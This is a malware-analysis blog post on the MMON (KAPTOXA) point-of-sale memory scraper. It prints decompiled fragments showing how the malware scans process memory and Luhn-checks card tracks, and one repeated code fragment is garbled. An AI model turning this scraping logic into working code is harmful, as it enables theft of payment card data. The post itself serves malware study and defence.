

Point-of-Sale malware - MMON (aka KAPTOXA)

reversing.fun/posts/2022/01/02/mmon.html

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MMON (aka KAPTOXA) is a command-line tool to find credit card data and other patterns within a process memory address space.

Sample:

86dd21b8388f23371d680e2632d0855b442f0fa7e93cd009d6e762715ba2d054

PDB: P:\vm\devel\dark\mmon\Release\mmon.pdb

Available command-line options:

```
C:\Documents and Settings\sysadmin\Desktop>mmon.exe
scan all processes: mmon.exe
scan all processes for string pattern: mmon.exe 0 <PATTERN>
scan process with pid for kartoxa: mmon.exe <pid>
scan process with pid for kartoxa and string pattern: mmon.exe <pid> <PATTERN>
```

To search the process memory, MMON uses a combination of **OpenProcess**, **VirtualQueryEx**, **ReadProcessMemory**.

```
36 prcHdl = OpenProcess(PROCESS_ALL_ACCESS, 0, target_pid_1);
37 if ( prcHdl )
38 {
39     fn_scan_process_mem(prcHdl);
40     return 0;
41 }

17 do
18 {
19     result = VirtualQueryEx(procHdl, lpAddress, &Buffer, 28u);
20     v3 = result;
21     v7 = result;
22     if ( result && Buffer.RegionSize )
23     {
24         result = Buffer.BaseAddress;
25         base_addr_plus_region_size = Buffer.BaseAddress + Buffer.RegionSize;
26         if ( Buffer.BaseAddress < Buffer.BaseAddress + Buffer.RegionSize )
27         {
28             do
29             {
30                 virtual_addr_max = result + 10000000;
31                 if ( result + 10000000 > base_addr_plus_region_size )
32                     virtual_addr_max = base_addr_plus_region_size;
33                 NumberOfBytesRead = 0;
34                 if ( ReadProcessMemory(procHdl, result, lpBuffer, virtual_addr_max - result, &NumberOfBytesRead) )
35                     fn_search_cc_tracks(NumberOfBytesRead);
36                 result = virtual_addr_max;
37             }
38             while ( virtual_addr_max < base_addr_plus_region_size );
```

The CC tracks are validated with the Luhn algorithm:

```
1 BOOL __cdecl fn_luhn_check(const char *a1)
2 {
3     int v1; // eax
4     const char *v2; // edx
5     unsigned int v4; // eax
6     int v5; // esi
7     BOOL v6; // ebx
8     int v7; // edi
9     int v8; // ecx
10
11     v1 = 0;
12     while ( 1 )
13     {
14         v2 = a1;
15         if ( a1[v1] != 48 )
16             break;
17         if ( ++v1 >= 16 )
18             return 0;
19     }
20     if ( !a1 )
21         return 0;
22     v4 = strlen(a1);
23     if ( v4 - 13 <= 6 )
24     {
25         v5 = v4 - 1;
26         v6 = 0;
27         v7 = 0;
28         if ( (v4 - 1) <= -1 )
29             return v7 % 10 == 0;
30         while ( isdigit(v2[v5]) )
31         {
32             v8 = a1[v5] - 48;
33             if ( v6 )
34             {
35                 v8 *= 2;
36                 if ( v8 > 9 )
37                     v8 += 1 - 10 * (v8 / 10);
38             }
39             --v5;
40             v7 += v8;
41             v6 = !v6;
42             if ( v5 <= -1 )
43                 return v7 % 10 == 0;
```

```

43     return v / % 10 == 0;
44     v2 = a1;
45     }
46     }
47     return 0;
48 }

```

As seen below, MMON was able to find the dummy CC tracks within the notepad process memory:

